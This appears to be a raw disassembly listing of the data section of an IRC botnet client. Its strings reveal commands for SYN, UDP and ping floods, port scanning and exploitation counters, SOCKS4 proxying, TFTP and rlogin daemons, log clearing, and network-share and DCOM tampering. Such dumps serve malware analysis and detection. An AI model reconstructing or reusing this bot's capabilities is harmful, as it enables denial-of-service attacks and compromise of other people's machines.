aCom_sysinfo	db 'com.sysinfo',0      ; DATA XREF: sub_40EE72+15E8o
unk_43264C	db    2			; DATA XREF: sub_40EE72+15DDo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	75h, 70h
		db  65h	; e
		db 72h,	73h, 79h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_28	db ' Failed to start flood thread, error: <%d>.',0
		align 4
unk_432698	db    2			; DATA XREF: sub_40EE72+156Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	75h, 70h
		db  65h	; e
		db 72h,	73h, 79h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFloodingSSFo_1	db ' Flooding: (%s:%s) for %s seconds.',0
aDdos_supersyn	db 'ddos.supersyn',0    ; DATA XREF: sub_40EE72+14D8o
		align 4
aCom_ni		db 'com.ni',0           ; DATA XREF: sub_40EE72+14C3o
		align 10h
aCom_netinfo	db 'com.netinfo',0      ; DATA XREF: sub_40EE72+14AEo
aUtil_clg	db 'util.clg',0         ; DATA XREF: sub_40EE72+1499o
		align 4
aUtil_clearlog	db 'util.clearlog',0    ; DATA XREF: sub_40EE72+1484o
		align 4
aIrc_lg		db 'irc.lg',0           ; DATA XREF: sub_40EE72+146Fo
		align 10h
aIrc_log	db 'irc.log',0          ; DATA XREF: sub_40EE72+145Ao
aIrc_al		db 'irc.al',0           ; DATA XREF: sub_40EE72+1445o
		align 10h
aIrc_aliases	db 'irc.aliases',0      ; DATA XREF: sub_40EE72+1430o
aThreads_l	db 'threads.l',0        ; DATA XREF: sub_40EE72+141Bo
		align 4
aThreads_list	db 'threads.list',0     ; DATA XREF: sub_40EE72+1406o
		align 4
dword_432758	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+13D2o
		dd 2BBBB02h
aFailedToReboot	db '  Failed to reboot system.',0
		align 4
dword_43278C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+13CBo
		dd 2BBBB02h
aRebootingSyste	db '  Rebooting system.',0
aCom_rebewt	db 'com.rebewt',0       ; DATA XREF: sub_40EE72+13B4o
		align 4
aIrc_i		db 'irc.i',0            ; DATA XREF: sub_40EE72+139Fo
		align 4
aIrc_id		db 'irc.id',0           ; DATA XREF: sub_40EE72+138Ao
		align 4
aIrc_s		db 'irc.s',0            ; DATA XREF: sub_40EE72+1375o
		align 4
aIrc_status	db 'irc.status',0       ; DATA XREF: sub_40EE72+1360o
		align 4
aIrc_q		db 'irc.q',0            ; DATA XREF: sub_40EE72+134Bo
		align 10h
aIrc_quit	db 'irc.quit',0         ; DATA XREF: sub_40EE72+1336o
		align 4
aIrc_d		db 'irc.d',0            ; DATA XREF: sub_40EE72+1321o
		align 4
aIrc_disconnect	db 'irc.disconnect',0   ; DATA XREF: sub_40EE72+130Co
		align 4
aIrc_r		db 'irc.r',0            ; DATA XREF: sub_40EE72+12F7o
		align 4
aIrc_reconnect	db 'irc.reconnect',0    ; DATA XREF: sub_40EE72+12E2o
		align 4
aRoot_st	db 'root.st',0          ; DATA XREF: sub_40EE72+12CDo
aRoot_stats	db 'root.stats',0       ; DATA XREF: sub_40EE72+12B8o
		align 10h
aExploitation	db 'Exploitation',0     ; DATA XREF: sub_40EE72+12ADo
		align 10h
aScan		db 'Scan',0             ; DATA XREF: sub_40EE72+12A8o
		align 4
aRoot_stop	db 'root.stop',0        ; DATA XREF: sub_40EE72+128Fo
		align 4
dword_432864	dd 65027302h, 1F727563h, 2E2E1F65h, 0 ;	DATA XREF: sub_40EE72+1284o
aSecure_0	db 'Secure',0           ; DATA XREF: sub_40EE72+127Fo
		align 4
aLockdown_stop	db 'lockdown.stop',0    ; DATA XREF: sub_40EE72+1266o
		align 4
dword_43288C	dd 6C026302h, 1F656E6Fh, 2E2E1F73h, 0 ;	DATA XREF: sub_40EE72+125Bo
aClone		db 'Clone',0            ; DATA XREF: sub_40EE72+1256o
		align 4
aClone_off	db 'clone.off',0        ; DATA XREF: sub_40EE72+123Do
		align 10h
aCom_ps_off	db 'com.ps.off',0       ; DATA XREF: sub_40EE72+1228o
		align 4
aCom_procs_off	db 'com.procs.off',0    ; DATA XREF: sub_40EE72+1213o
		align 4
aUtil_ff_off	db 'util.ff.off',0      ; DATA XREF: sub_40EE72+11FEo
aUtil_findfile_	db 'util.findfile.off',0 ; DATA XREF: sub_40EE72+11E9o
		align 4
dword_4328EC	dd 66027402h, 641F7074h, 2E2E1Fh ; DATA	XREF: sub_40EE72+11DEo
aDaemon_tftp_of	db 'daemon.tftp.off',0  ; DATA XREF: sub_40EE72+11C0o
dword_432908	dd 69027002h, 1F671F6Eh, 2E2Eh ; DATA XREF: sub_40EE72+11B5o
dword_432914	dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_40EE72+11B0o
dword_432920	dd 736F6464h, 6E69702Eh, 666F2E67h, 66h	; DATA XREF: sub_40EE72+1197o
dword_432930	dd 64027502h, 2E1F701Fh, 2Eh ; DATA XREF: sub_40EE72+118Co
dword_43293C	dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_40EE72+1187o
dword_432948	dd 736F6464h, 7064752Eh, 66666F2Eh, 0 ;	DATA XREF: sub_40EE72+116Eo
dword_432958	dd 79027302h, 2E1F6E1Fh, 2Eh ; DATA XREF: sub_40EE72+1163o
dword_432964	dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_40EE72+115Eo
dword_432970	dd 736F6464h, 6E79732Eh, 66666F2Eh, 0 ;	DATA XREF: sub_40EE72+1145o
dword_432980	dd 64026402h, 1F731F6Fh, 2E2Eh ; DATA XREF: sub_40EE72+113Ao
dword_43298C	dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_40EE72+1135o
dword_432998	dd 736F6464h, 66666F2Eh, 0 ; DATA XREF:	sub_40EE72+111Co
dword_4329A4	dd 65027202h, 65726964h, 1F741F63h, 2E2Eh ; DATA XREF: sub_40EE72+1111o
dword_4329B4	dd 20504354h, 69646572h, 74636572h, 0 ;	DATA XREF: sub_40EE72+110Co
aProxy_redirect	db 'proxy.redirect.off',0 ; DATA XREF: sub_40EE72+10F3o
		align 4
dword_4329D8	dd 6F026C02h, 2E1F671Fh, 2Eh ; DATA XREF: sub_40EE72+10E8o
dword_4329E4	dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF:	sub_40EE72+10E3o
dword_4329F0	dd 2E676F6Ch, 66666Fh	; DATA XREF: sub_40EE72+10CAo
dword_4329F8	dd 74026802h, 641F7074h, 2E2E1Fh ; DATA	XREF: sub_40EE72+10C2o
dword_432A04	dd 6D656164h, 772E6E6Fh, 6F2E6265h, 6666h ; DATA XREF: sub_40EE72+10A4o
dword_432A14	dd 6C027202h, 6E69676Fh, 2E1F641Fh, 2Eh	; DATA XREF: sub_40EE72+109Co
aDaemon_rlogin_	db 'daemon.rlogin.off',0 ; DATA XREF: sub_40EE72+107Eo
		align 4
dword_432A38	dd 6F027302h, 1F736B63h, 2E2E1F34h, 0 ;	DATA XREF: sub_40EE72+105Co
aServer		db 'Server',0           ; DATA XREF: sub_40EE72+1057o
					; sub_40EE72+1097o ...
		align 10h
aProxy_socks4_0	db 'proxy.socks4.off',0 ; DATA XREF: sub_40EE72+103Eo
		align 4
aProxy_s4_on	db 'proxy.s4.on',0      ; DATA XREF: sub_40EE72+1029o
aProxy_socks4_o	db 'proxy.socks4.on',0  ; DATA XREF: sub_40EE72+1014o
aLd_off		db 'ld.off',0           ; DATA XREF: sub_40EE72+FFFo
		align 4
aLockdown_off	db 'lockdown.off',0     ; DATA XREF: sub_40EE72+FEAo
		align 4
aLd_on		db 'ld.on',0            ; DATA XREF: sub_40EE72+FD5o
		align 10h
aLockdown_on	db 'lockdown.on',0      ; DATA XREF: sub_40EE72+FC0o
aVer		db 'ver',0              ; DATA XREF: sub_40EE72+FABo
aIrc_version	db 'irc.version',0      ; DATA XREF: sub_40EE72+F96o
aLo		db 'lo',0               ; DATA XREF: sub_40EE72+F81o
		align 10h
aIrc_logout	db 'irc.logout',0       ; DATA XREF: sub_40EE72+F6Co
		align 4
aIrc_di		db 'irc.di',0           ; DATA XREF: sub_40EE72+F57o
		align 4
aIrc_die	db 'irc.die',0          ; DATA XREF: sub_40EE72+F42o
aRn		db 'rn',0               ; DATA XREF: sub_40EE72+F2Do
		align 10h
aIrc_rndnick	db 'irc.rndnick',0      ; DATA XREF: sub_40EE72+F15o
a63		db '63',0               ; DATA XREF: sub_40EE72+DEEo
		align 10h
asc_432AF0:				; DATA XREF: sub_40EE72+DC6o
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_40EE72+D89o
		align 4
aServer_0	db '$server',0          ; DATA XREF: sub_40EE72+D7Eo
aRndnick	db '$rndnick',0         ; DATA XREF: sub_40EE72+D6Do
		align 10h
aChan		db '$chan',0            ; DATA XREF: sub_40EE72+D51o
		align 4
aUser_2		db '$user',0            ; DATA XREF: sub_40EE72+D40o
		align 10h
aMe_0		db '$me',0              ; DATA XREF: sub_40EE72+D2Eo
aD		db '$%d',0              ; DATA XREF: sub_40EE72+CC0o
aD_0		db '$%d-',0             ; DATA XREF: sub_40EE72+C05o
		align 10h
aC_0:					; DATA XREF: sub_40EE72+B19o
		unicode	0, <c>,0
dword_432B34	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+AE4o
		dd 2BBBB02h
aChatFailedByUn	db '  Chat failed by unauthorized user: %s.',0
dword_432B74	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+AD6o
		dd 2BBBB02h
aChatAlreadyAct	db '  Chat already active with user: %s.',0
		align 4
dword_432BB4	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+AC8o
		dd 2BBBB02h
aFailedToSta_29	db '  Failed to start chat thread, error: <%d>.',0
dword_432BF8	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+A59o
		dd 2BBBB02h
aChatFromUserS_	db '  Chat from user: %s.',0
		align 4
aChat		db 'CHAT',0             ; DATA XREF: sub_40EE72+9BFo
		align 10h
dword_432C30	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+99Co
		dd 2BBBB02h
aReceiveFileSFa	db '  Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
dword_432C80	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+984o
					; sub_40EE72+4ABCo
		dd 2BBBB02h
aFailedToSta_30	db '  Failed to start transfer thread, error: <%d>.',0
dword_432CC8	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_40EE72+973o
		dd 0A0Dh
dword_432CE0	dd 4E495001h, 47h	; DATA XREF: sub_40EE72+93Fo
aSHasJustVersio	db '%s has just versioned me.',0 ; DATA XREF: sub_40EE72+8F9o
		align 4
dword_432D04	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_40EE72+8DCo
		dd 0D017325h, 0Ah
dword_432D20	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_40EE72+8ABo
dword_432D2C	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+791o
		dd 2BBBB02h
aReceiveFileSFr	db '  Receive file: ',27h,'%s',27h,' from user: %s.',0
aSend_0		db 'SEND',0             ; DATA XREF: sub_40EE72+6E8o
		align 10h
dword_432D70	dd 43434401h, 0		; DATA XREF: sub_40EE72+6CAo
dword_432D78	dd 323333h		; DATA XREF: sub_40EE72+651o
					; sub_40EE72+B4Fo ...
dword_432D7C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5D2o
		dd 2BBBB02h
aUserSLoggedOut	db '  User: %s logged out.',0
		align 4
dword_432DAC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5ABo
		dd 2BBBB02h
aJoinedChanne_0	db '  Joined channel: %s.',0
		align 4
a353		db '353',0              ; DATA XREF: sub_40EE72+574o
aPart		db 'PART',0             ; DATA XREF: sub_40EE72+526o
					; sub_40EE72+5EFo
		align 4
aSS_0		db ':%s%s',0            ; DATA XREF: sub_40EE72+4FEo
		align 10h
aNick		db 'NICK',0             ; DATA XREF: sub_40EE72+3D0o
		align 4
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+371o
					; sub_40EE72+613o
dword_432E08	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+355o
					; sub_40EE72+5FF4o ...
		dd 2BBBB02h
aUserSLoggedO_0	db '  User %s logged out.',0
		align 4
aKick		db 'KICK',0             ; DATA XREF: sub_40EE72+2E4o
		align 10h
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_40EE72+28Do
					; sub_40EE72+4EB7o ...
		align 4
a433		db '433',0              ; DATA XREF: sub_40EE72+262o
a@:					; DATA XREF: sub_40EE72+23Ao
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_40EE72+22Ao
a005		db '005',0              ; DATA XREF: sub_40EE72+215o
a001		db '001',0              ; DATA XREF: sub_40EE72+200o
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+1E4o
					; sub_40EE72+3B7o ...
		align 10h
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_40EE72+1C3o
		align 4
aPing		db 'PING',0             ; DATA XREF: sub_40EE72+1A9o
		align 4
asc_432E84:				; DATA XREF: sub_40EE72+19Ao
					; sub_40EE72+60FBo
		unicode	0, <!>,0
asc_432E88	db ' :',0               ; DATA XREF: sub_40EE72+86o
					; sub_40EE72:loc_40FA19o
		align 4
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_41518A+120o
		align 4
unk_432E98	db    2			; DATA XREF: sub_41533B:loc_4153C2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aProcessListFai	db 'Process list failed.',0
		align 10h
unk_432ED0	db    2			; DATA XREF: sub_41533B+80o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aProcessListCom	db 'Process list completed.',0
unk_432F08	db    2			; DATA XREF: sub_41533B+19o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aListingProcess	db 'Listing processes:',0
		align 4
dword_432F3C	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: ___:00415669o
		dd 2029671Fh, 2BBBB02h
aUserLoggedOutS	db '  User logged out: <%s@%s>.',0
dword_432F74	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: ___:00415642o
		dd 2029671Fh, 2BBBB02h
aErrorSessionru	db '  Error: SessionRun(): <%d>.',0
		align 10h
dword_432FB0	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: ___:00415622o
		dd 2029671Fh, 2BBBB02h
aUserLoggedInS@	db '  User logged in: <%s@%s>.',0
		align 4
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: ___:004155F2o
		align 4
dword_432FFC	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: ___:00415561o
		dd 2029671Fh, 2BBBB02h
aErrorGetpeerna	db '  Error: getpeername(): <%d>.',0
		align 4
dword_433038	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_415685:loc_4156CAo
		dd 2029671Fh, 2BBBB02h
aProtocolString	db '  Protocol string too long.',0
dword_433070	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_4156DF+1Bo
		dd 2029671Fh, 2BBBB02h,	6F4C2020h, 206E6967h, 656A6572h
		dd 64657463h, 6552202Ch, 65746F6Dh, 65737520h, 3C203A72h
		dd 25407325h, 2E3E73h, 7A026E02h, 201F6D1Fh, 6F6C7228h
		dd 646E6967h, 6C1F702Eh, 2029671Fh, 2BBBB02h, 72452020h
		dd 3A726F72h, 72657320h, 20726576h, 6C696166h, 202C6465h
		dd 75746572h, 64656E72h, 253C203Ah, 2E3E64h, 7A026E02h
		dd 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh, 2029671Fh
		dd 2BBBB02h, 61462020h,	64656C69h, 206F7420h, 72617473h
		dd 6C632074h, 746E6569h, 72687420h, 2C646165h, 72726520h
		dd 203A726Fh, 3E64253Ch, 2Eh, 7A026E02h, 201F6D1Fh, 6F6C7228h
		dd 646E6967h, 6C1F702Eh, 2029671Fh, 2BBBB02h, 6C432020h
		dd 746E6569h, 6E6F6320h, 7463656Eh, 206E6F69h, 6D6F7266h
		dd 3A504920h, 3A732520h, 202C6425h, 76726553h, 74207265h
		dd 61657268h, 25203A64h, 2E64h,	7A026E02h, 201F6D1Fh, 6F6C7228h
		dd 646E6967h, 6C1F702Eh, 2029671Fh, 2BBBB02h, 65522020h
		dd 20796461h, 20646E61h, 74696177h, 20676E69h, 20726F66h
		dd 6F636E69h, 676E696Dh, 6E6F6320h, 7463656Eh, 736E6F69h
		dd 2Eh,	7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
		dd 2029671Fh, 2BBBB02h,	61462020h, 64656C69h, 206F7420h
		dd 74736E69h, 206C6C61h, 746E6F63h, 2D6C6F72h, 61682043h
		dd 656C646Eh, 65202C72h, 726F7272h, 253C203Ah, 2E3E64h
		dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
		dd 2029671Fh, 2BBBB02h,	72452020h, 3A726F72h, 41535720h
		dd 72617453h, 28707574h, 3C203A29h, 2E3E6425h, 0
aConst		db 'const',0
		align 4
		dd 0
dword_43327C	dd 1			; DATA XREF: sub_415D01+7o
off_433280	dd offset sub_415996	; DATA XREF: sub_415D01+49r
aLetter		db 'letter',0
		align 10h
		dd 2, 4159F4h, 706D6F63h, 2 dup(0)
		dd 3, 415A41h, 6E756F63h, 797274h, 0
		dd 4, 415ADFh, 736Fh, 2	dup(0)
		dd 5, 415B54h
dword_4332D4	dd 69257325h, 0		; DATA XREF: sub_415996+40o
					; ___:00415AC0o ...
byte_4332DC	db 50h			; DATA XREF: ___:00415A63o
					; ___:00415A70r
		db 43h,	2 dup(0)
dword_4332E0	dd 7C7325h		; DATA XREF: ___:00415B0Eo
					; sub_415D01+39o
dword_4332E4	dd 5D73255Bh, 7Ch	; DATA XREF: ___:00415C18o
dword_4332EC	dd 334B32h		; DATA XREF: ___:00415C08o
dword_4332F0	dd 5D64255Bh, 7325h	; DATA XREF: sub_415C5E+3Ao
dword_4332F8	dd 5D4D5Bh		; DATA XREF: sub_415C5E+2Co
					; sub_415C5E+57o
unk_4332FC	db    2			; DATA XREF: sub_415D6A+92o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSPortDIsOp_0	db '  IP: %s Port: %d is open.',0
		db    2
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aScanningIpSPor	db '  Scanning IP: %s, Port: %d.',0
		align 10h
off_433370	dd offset dword_4333A8	; DATA XREF: sub_415F88+1B3o
					; sub_4162AC+17Ao
		align 8
		dd offset dword_4333A0
		align 10h
off_433380	dd offset dword_43339C	; DATA XREF: sub_4162AC+1E3o
		dd offset off_433398
		dd offset dword_433394
		dd offset off_433390
off_433390	dd offset dword_5C3A44	; DATA XREF: sub_415F88+217o
					; ___:0043338Co
dword_433394	dd 2444h		; DATA XREF: ___:00433388o
off_433398	dd offset byte_5C3A43	; DATA XREF: ___:00433384o
dword_43339C	dd 2443h		; DATA XREF: ___:off_433380o
dword_4333A0	dd 494D4441h, 244Eh	; DATA XREF: ___:00433378o
dword_4333A8	dd 24435049h, 0		; DATA XREF: ___:off_433370o
unk_4333B0	db    2			; DATA XREF: sub_415F88+2E5o
					; sub_4162AC+2DBo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNetapi32_dllCo	db ' Netapi32.dll couldn',27h,'t be loaded.',0
		align 10h
unk_4333F0	db    2			; DATA XREF: sub_415F88+2CFo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNetworkSharesD	db ' Network shares deleted.',0
		align 4
unk_433428	db    2			; DATA XREF: sub_415F88:loc_4161EAo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToDelete	db ' Failed to delete ',27h,'%S',27h,' share.',0
		align 4
unk_433464	db    2			; DATA XREF: sub_415F88+25Bo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aShareSDeleted_	db ' Share ',27h,'%S',27h,' deleted.',0
		align 4
unk_433498	db    2			; DATA XREF: sub_415F88:loc_416157o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToDele_0	db ' Failed to delete ',27h,'%s',27h,' share.',0
		align 4
unk_4334D4	db    2			; DATA XREF: sub_415F88+1C8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aShareSDelete_0	db ' Share ',27h,'%s',27h,' deleted.',0
		align 4
unk_433508	db    2			; DATA XREF: sub_415F88:loc_4160BAo
					; sub_4162AC:loc_4163DAo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aAdvapi32_dllCo	db ' Advapi32.dll couldn',27h,'t be loaded.',0
		align 4
unk_433548	db    2			; DATA XREF: sub_415F88:loc_4160B3o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToOpenIp	db ' Failed to open IPC$ Restriction registry key.',0
		align 4
unk_433594	db    2			; DATA XREF: sub_415F88:loc_416095o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aRestrictedAcce	db ' Restricted access to the IPC$ Share.',0
		align 4
unk_4335D8	db    2			; DATA XREF: sub_415F88+106o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToRestri	db ' Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_415F88+EDo
					; sub_4162AC+EDo
		align 4
unk_433638	db    2			; DATA XREF: sub_415F88+91o
					; sub_4162AC+91o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToOpenDc	db ' Failed to open DCOM registry key.',0
		align 4
dword_433678	dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h
					; DATA XREF: sub_415F88:loc_415FF5o
		dd 2202967h, 2002BBBBh,	4F434420h, 6964204Dh, 6C626173h
		dd 2E6465h
unk_4336A4	db    2			; DATA XREF: sub_415F88+66o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aDisableDcomFai	db ' Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_415F88+54o
					; sub_4162AC+54o
		align 4
word_4336E4	dw 4Eh			; DATA XREF: sub_415F88+38r
		align 4
unk_4336E8	db    2			; DATA XREF: sub_4162AC+2C3o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNetworkSharesA	db ' Network shares added.',0
		align 4
aC_1		db '%c:\',0             ; DATA XREF: sub_4162AC+230o
		align 4
aC_2		db '%c$',0              ; DATA XREF: sub_4162AC+219o
unk_433728	db    2			; DATA XREF: sub_4162AC:loc_41644Bo
					; sub_4162AC:loc_41651Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
